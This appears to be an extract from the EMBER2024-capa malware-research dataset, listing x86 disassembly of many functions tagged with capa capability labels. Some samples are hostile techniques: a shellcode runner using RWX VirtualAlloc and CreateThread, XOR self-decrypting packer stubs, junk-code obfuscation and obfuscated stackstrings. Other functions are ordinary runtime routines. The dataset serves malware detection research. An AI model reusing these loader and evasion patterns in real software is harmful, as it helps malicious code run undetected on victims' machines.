joyce8/EMBER2024-capa huggingface dataset:
Function at 0x555e17
Capabilities:
Get number of processors

Disassembly:
lds eax, [eax]
add byte [ebx + 0x51], bl
sub ecx, 0x11580
sub ecx, 0x8044
add ecx, 0xd9d6
and ecx, 0xc8f0
pop ecx
movzx eax, word [ebp - 0x20]
test eax, eax
jne 0x555cbf
movzx ecx, word [ebp - 0x48]
movzx edx, word [ebp - 0x20]
sub ecx, edx
mov dword [ebp - 0x334], ecx
jmp 0x555d42
movzx eax, word [ebp - 0x48]
movzx ecx, word [ebp - 0x20]
cmp eax, ecx
je 0x555bb8
movzx edx, word [ebp - 0x48]
xor edx, 0x20
movzx eax, word [ebp - 0x20]
cmp edx, eax
je 0x555bb8
push edi
add edi, 0x1bc2
mov edx, 0x8100001b
idiv esi
movsb byte es:[edi], byte [esi]
add byte [eax], al
add edi, 0x1105b
jmp 0x555cfb
pop edi
push ecx
and ecx, 0xafb6
call 0x555d10
add byte [eax + 0x4d], al
xor al, 0x36
aas
dec ebx
cmp eax, 0x5904c483
movzx ecx, word [ebp - 0x48]
movzx edx, word [ebp - 0x20]
cmp ecx, edx
jge 0x555d2c
mov dword [ebp - 0x330], 0xffffffff
jmp 0x555d36
mov dword [ebp - 0x330], 1
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0
jne 0x555d8b
push ebx
sub ebx, 0x108f4
add ebx, 0x6290
or ebx, 0x16612
and ebx, 0x138f9
pop ebx
push edi
push ecx
add esp, 4
or edi, 0xcf7c
jmp 0x555d76
sub edi, 0x5383
pop edi
mov ecx, dword [ebp - 0xb0]
mov dword [ebp - 0x74], ecx
jmp 0x555e22
mov edx, dword [ebp - 0xb0]
mov eax, dword [edx]
mov dword [ebp - 0xb0], eax
push ebx
xor ebx, 0x13f27
add ebx, 0x153f7
pop ebx
push edi
push edi
add esp, 4
xor edi, 0x17af4
sub edi, 0xd839
pop edi
push esi
push edx
add esp, 4
add esi, 0x1a00
add esi, 0x15600
pop esi
mov ecx, dword [ebp - 0xb0]
cmp ecx, dword [ebp - 0x264]
je 0x555de9
mov edx, dword [ebp - 0xb0]
cmp dword [edx + 0x30], 0
jne 0x555b2d
push esi
push edx
add esp, 4
add esi, 0x1353a
and esi, 0xbc78
add esi, 0x18155
pop esi
push edx
or edx, 0x10a6c
call 0x555e17
add byte [edx], bh
push eax
dec esi
dec ecx
dec ebp
dec edx
inc ebp
inc edx
inc esp
add esp, 4
pop edx
mov dword [ebp - 0x74], 0

Function at 0x555e2c
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push esi
push eax
add esp, 4
and esi, 0x12e8
and esi, 0xcddd
sub esi, 0x1613d
pop esi
push ecx
xor ecx, 0x1700c
and ecx, 0xa918
and ecx, 0x8390
add ecx, 0x3bb4
pop ecx
mov eax, 0x6b
mov word [ebp - 0x3a0], ax
mov ecx, 0x65
mov word [ebp - 0x39e], cx
mov edx, 0x72
mov word [ebp - 0x39c], dx
mov eax, 0x6e
mov word [ebp - 0x39a], ax
mov ecx, 0x65
mov word [ebp - 0x398], cx
mov edx, 0x6c
mov word [ebp - 0x396], dx
mov eax, 0x33
mov word [ebp - 0x394], ax
mov ecx, 0x32
mov word [ebp - 0x392], cx
mov edx, 0x2e
mov word [ebp - 0x390], dx
mov eax, 0x64
mov word [ebp - 0x38e], ax
mov ecx, 0x6c
mov word [ebp - 0x38c], cx
mov edx, 0x6c
mov word [ebp - 0x38a], dx
xor eax, eax
mov word [ebp - 0x388], ax
push eax
push ebx
add esp, 4
xor eax, 0x5db2
sub eax, 0x561d
pop eax
push ecx
or ecx, 0xf61b
sbb esi, esi
add byte [eax], al
sub ecx, 0xbfb1
or ecx, 0x101c3
pop ecx
push ebx
push esi
add esp, 4
add ebx, 0xe1c6
pop ebx
mov byte [ebp - 0x174], 0x4c
mov byte [ebp - 0x173], 0x6f
mov byte [ebp - 0x172], 0x61
mov byte [ebp - 0x171], 0x64
mov byte [ebp - 0x170], 0x4c
invalid
invalid
xchg ecx, eax
invalid
Function at 0x8003b3f
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x80043b4], 0x30
mov dword [0x80043bc], 0x8003351
mov dword [0x80043b8], 2
mov dword [0x80043c0], 0
mov dword [0x80043c4], 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
jmp 0x8003b82
mov dword [0x80043c8], eax
mov dword [0x80043dc], 0x80041e0
mov dword [0x80043d4], 0xf
mov dword [0x8004102], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043cc], eax
mov dword [0x80043e0], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x800410a], ebp
mov dword [0x80043d0], eax
push 0x80043b4
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x8004434], eax
push 0
push dword [0x8004102]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x800442c], eax
push 1
push dword [0x800442c]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x800442c]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c40
xor edi, edi
lea ebx, [0x80043e4]
jmp 0x8003c58
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c4a
jmp 0x8003c6c
mov eax, dword [0x80043ec]
call fcn.08002ae4
ret

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x674846ed
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x4f207f10
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x68210720
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x45831255
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x47f42d28
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x23894489
nop
nop
nop
test eax, eax
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401639
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401689
mov dword [esp + 4], str._ERRORE__Impossibile_allocare_memoria_n
mov dword [esp], 0x4b2760
call fcn.004a4df0
jmp 0x401797
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40173b
mov dword [esp + 4], str._ERRORE__Impossibile_creare_il_thread_n
mov dword [esp], 0x4b2760
call fcn.004a4df0
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
jmp 0x401797
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [esp + 4], str._INFO__Payload_eseguito_con_successo._n
mov dword [esp], 0x4b28a0
call fcn.004a4df0
leave
ret

Function at 0x40ab10
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.0041ad10
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.0041ad10
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x40ab70
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x4fb06c]
test esi, esi
jle 0x40ac90
mov eax, dword [0x4fb070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x40aba4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40ac27
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x40ab90
mov dword [esp], ebx
call fcn.0040b500
mov edi, eax
test eax, eax
je 0x40acb7
mov eax, dword [0x4fb070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.0040b610
mov edx, dword [0x4fb070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40ac97
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40ac20
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40ac30
add dword [0x4fb06c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x4fb070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40ac20
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0040ab10
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40abae
mov eax, dword [0x4fb070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0040ab10
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0040ab10
lea esi, [esi]
nop

Function at 0x40b170
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4fb088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4fb080]
sub esp, 4
test ebx, ebx
je 0x40b1c5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40b1be
test esi, esi
je 0x40b1be
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40b1a0
mov dword [esp], 0x4fb088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40ba90
Capabilities:
Allocate thread local storage

Disassembly:
mov eax, dword [0x4fb084]
test eax, eax
jne 0x40b1f0
ret
push ebx
sub esp, 0x18
mov dword [esp + 4], 0xc
mov dword [esp], 1
call sub.msvcrt.dll_calloc
mov ebx, eax
test eax, eax
je 0x40b250
mov eax, dword [esp + 0x20]
mov dword [esp], 0x4fb088
mov dword [ebx], eax
mov eax, dword [esp + 0x24]
mov dword [ebx + 4], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x4fb080]
mov dword [0x4fb080], ebx
sub esp, 4
mov dword [ebx + 8], eax
mov dword [esp], 0x4fb088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
sub esp, 4
add esp, 0x18
pop ebx
ret
or eax, 0xffffffff
jmp 0x40b24b
push esi
push ebx
sub esp, 4
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40bac0
mov dword [esi], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
add esp, 4
pop ebx
pop esi
jmp 0x41af20
add esp, 4
pop ebx
pop esi
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 8]
test eax, eax
jne 0x41af30
xor eax, eax
ret
jmp 0x40b1e0

Function at 0x40bb00
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40bb40
Capabilities:
Set thread local storage value

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x40bb68
xor eax, eax
add esp, 0x1c
ret
add esp, 0x1c
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x41dea0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 0x1a
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x80]
mov esi, 0x4b4515
push ebx
sub esp, 0x9c
mov eax, dword [str.not_enough_space_for_format_expansion__Please_submit_full_bug_report_at_https:__gcc.gnu.org_bugs__:_n]
mov dword [ebp - 0x81], eax
mov eax, dword [0x4b4579]
mov dword [ebp - 0x1c], eax
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp + 8]
lea eax, [edx + 0x84]
and eax, 0xfffffff0
call fcn.0040b780
mov ecx, 0x1a
sub esp, eax
lea esi, [ebp - 0x81]
mov dword [ebp - 0x8c], edx
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov edi, ebx
lea eax, [ebx + 0x68]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 4], ecx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x8c]
mov byte [ebx + edx + 0x68], 0
mov dword [esp], ebx
call fcn.004a9260
nop
nop
nop
nop
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x20
cmp byte [0x4b2bdc], 0
jne 0x41dfc6
mov byte [0x4b2bdc], 1
call fcn.004a75e0
test eax, eax
je 0x41df94
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
sete al
mov dword [esp + 4], 0
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call fcn.0040a710
mov dword [esp], 2
mov esi, dword [fcn.0041ad10]
mov edi, eax
call esi
mov dword [esp + 8], 0x30
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
call sub.msvcrt.dll_fwrite
mov edx, dword [esp + 0x1c]
mov dword [esp], 2
test edx, edx
je 0x41df84
call esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
mov dword [esp], 2
call esi
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x4b3419
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x4a84c8
jmp 0x4a84c0
call esi
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
jmp 0x41df4a
mov dword [esp], 2
call dword [0x4b1080]
mov dword [esp + 8], 0x2d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
call sub.msvcrt.dll_fwrite
jmp 0x4a84bb
mov dword [esp], 2
call dword [0x4b1080]
mov dword [esp + 8], 0x1d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x46f7a0
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x1c
mov edi, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
jmp 0x46f7c3
call dword [sym.imp.msvcrt.dll__errno]
cmp dword [eax], 4
jne 0x46f7e1
mov ecx, ebx
call fcn.0046f540
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.msvcrt.dll__read
mov ebp, eax
cmp eax, 0xffffffff
je 0x46f7b8
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x40b991
Capabilities:
Hash data using sha1

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [esp + 8]
and dword [ecx + 0x18], 0
and dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
mov dword [ecx + 0x5c], eax
ret
Function at 0x40cef0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x42e004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x10001ebe
Capabilities:
Set environment variable

Disassembly:
mov eax, 0x1005c825
call fcn.1005c388
sub esp, 0x14
cmp byte [ebp + 0x10], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
je 0x10001ef7
cmp byte [ecx], 0
je 0x10001ee6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x1c], 0x7ae0
cmp dword [ebp - 0x1c], 0x7dff
jle 0x10001f71
xor esi, esi
mov dword [ebp - 0x18], esi
xor edi, edi
mov dword [ebp - 0x14], edi
xor ebx, ebx
mov eax, edi
mov edi, 0x30bd
cdq
idiv ebx
add edx, esi
mov dword [ebp - 0x20], edx
mov esi, edx
mov eax, esi
mov ecx, 0x10075fb8
cdq
push edx
push eax
call fcn.10004fa9
dec esi
dec edi
jne 0x10001f24
mov esi, dword [ebp - 0x18]
inc ebx
mov edi, dword [ebp - 0x14]
cmp ebx, 0x1d12
jl 0x10001f13
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 0x1280
jl 0x10001f11
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x47e8
jl 0x10001f0c
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
jmp 0x10001f77
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_EndPaint]
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1c], 0x7797
jge 0x10001ee6
mov edx, str.talza_slpsimp_nogboju_nkox_fnxycy_rtctlq_bfz
mov ecx, 0x10075fb8
call fcn.1000736a
jmp 0x10001ee6
Function at 0x10008d5e
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1005caec
call fcn.1005c388
sub esp, 0x14
cmp byte [ebp + 0x14], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
je 0x10008d86
push dword [edx]
mov ecx, dword [ebp + 8]
call fcn.1000a632
jmp 0x10008e5e
mov dword [ebp - 0x1c], 0x3dbe
xor esi, esi
cmp dword [ebp - 0x1c], 0x416f
jle 0x10008e0c
mov ebx, esi
mov edi, esi
mov dword [ebp - 0x18], esi
mov ecx, esi
mov dword [ebp - 0x14], esi
mov eax, edi
mov dword [ebp - 0x20], esi
cdq
idiv ecx
mov edi, edx
mov eax, edi
mov ecx, 0x10075fb8
and eax, esi
xor eax, ebx
cdq
push edx
push eax
call fcn.10004fa9
inc esi
cmp esi, 0x8dd
jl 0x10008dae
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x14], ecx
push 0
pop esi
cmp ecx, 0x6c56
jl 0x10008da4
inc edi
mov dword [ebp - 0x18], edi
cmp edi, 0x455f
jl 0x10008d9f
inc ebx
cmp ebx, 0x329b
jl 0x10008d9a
push esi
push 0xa8b
push esi
push esi
push 0x20c5
push 0xa5d
call dword [sym.imp.USER32.dll_ToAsciiEx]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x1c], 0x3c5e
jge 0x10008e45
mov edx, str.kdmlvb_svdmjr_ogqhsmk_dywxu_kdb_gcufigsrh_tos_anzpwhot_rjjon_mrfldh_wgurqug_volp_fra_lxgvknk
mov ecx, 0x10075fb8
call fcn.1000736a
jmp 0x10008e45
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x10008e5e
push esi
push esi
push 0x877
push esi
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a893
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
push esi
xor esi, esi
mov dword [ecx + 4], edx
push edi
inc esi
lea edi, [ecx + 8]
mov ebx, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, esi
inc esi
mov dword [edi], edx
lea edi, [edi + 4]
cmp esi, ebx
jl 0x1000a8aa
pop edi
pop esi
mov dword [ecx], ebx
pop ebx
pop ebp
ret 8

Function at 0x1000a8cc
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov edx, 0x1416ea74
push edi
mov esi, edx
mov edi, 0x7fffffff
mov ecx, dword [esi + 0x9c4]
xor ecx, dword [esi + 0x9c0]
and ecx, edi
xor ecx, dword [esi + 0x9c0]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0xff4]
xor eax, ecx
mov dword [esi], eax
add esi, 4
cmp esi, 0x1416ee00
jl 0x1000a8da
mov esi, 0x9908b0df
mov ecx, dword [edx + 0xd50]
xor ecx, dword [edx + 0xd4c]
and ecx, edi
xor ecx, dword [edx + 0xd4c]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, esi
xor eax, ecx
xor eax, dword [edx]
mov dword [edx + 0x38c], eax
add edx, 4
cmp edx, 0x1416f0a4
jl 0x1000a91a
mov ecx, dword [0x1416fdf0]
xor ecx, dword [0x1416ea74]
and ecx, edi
xor ecx, dword [0x1416fdf0]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
and dword [0x1416ea70], 0
and eax, esi
shr ecx, 1
xor eax, ecx
xor eax, dword [0x1416f0a4]
mov dword [0x1416f430], eax
pop esi
ret
Function at 0x1000c65c
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp byte [ebp + 0x18], 0
push esi
mov byte [ebp - 4], dl
mov byte [ebp - 8], cl
je 0x1000c698
test dl, dl
je 0x1000c686
push 0x1d58
push 0x16f1
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
jmp 0x1000c6bb
mov eax, dword [ebp + 8]
cmp byte [eax], 0
je 0x1000c6bb
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x1000c6bb
test cl, cl
je 0x1000c6b6
mov esi, dword [ebp + 0xc]
mov ecx, dword [esi]
sub ecx, 2
call fcn.1000aba9
mov ecx, dword [ebp + 0x10]
cmp ax, word [ecx]
jne 0x1000c6bb
